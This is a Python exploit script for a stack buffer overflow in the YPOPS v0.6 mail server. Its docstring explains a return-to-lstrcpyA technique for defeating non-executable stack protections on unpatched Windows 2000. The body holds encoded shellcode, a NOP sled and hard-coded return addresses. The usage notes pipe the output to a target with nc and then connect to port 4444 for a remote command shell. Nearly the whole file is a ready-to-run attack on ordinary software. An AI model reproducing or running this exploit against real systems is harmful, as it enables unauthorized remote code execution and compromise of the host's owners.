#!/usr/bin/env python
"""
Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
Coded as a PoC for defeating NoN-Exec stacks and stack protections
like overflow guard etc.
This exploit utilizes the 520 byte buffer in the TEB (i.e is used for
ANSI to Unicode String operations). The EIP is overwritten with the address
of lstrcpyA accompanied by the return address, the source and destination buffer
addresses.
On successfull EIP overwrite the lstrcpyA copies the attacker supplied payload to
the address in the TEB, following which the executions proceeds from there (since it
is the return addr that we supplied). Came across this usefull concept in "The shell coders
handbook". Can be used for 1) Bypassing stack protections.
           2) When none of the regs (ecx,ebx, eax, esp etc)
          point to our payload.

BUFFER LAYOUT

|payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB | addr of our payload |
            ret addr for  destination for     Addr of our 
            execution          Payload      Payload


Tested on Win2K Adv Server with no patches and overflowguard. This is heavily dependent on the addresses which
must be modified according to the versions.
0x77E87E39 --> Address of lstrcpyA from kernel32.dll
0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and execution 
       commences
0x00E6FAB8 --> Address of Payload on stack

Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8 paper).

Coded by Varun Uppal (varunuppal@linuxmail.org)
greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work

USAGE:

python pop_exp2.py | nc "addr of target host" "target port"

Telnet "addr of target host" 4444   for cmd prompt 
"""

import struct

exp = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
exp += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
exp += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
exp += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
exp += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
exp += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
exp += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
exp += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
exp += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
exp += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
exp += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
exp += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
exp += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
exp += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
exp += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
exp += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
exp += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
exp += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
exp += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
exp += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
exp += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
exp += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
exp += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
exp += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
exp += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"


print '\x90'*10+exp+'\x90'*96+ struct.pack('<L', 0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L', 0x7ffde1bc)+'\xb8'+'\xfa'+'\xe6'+'\x00'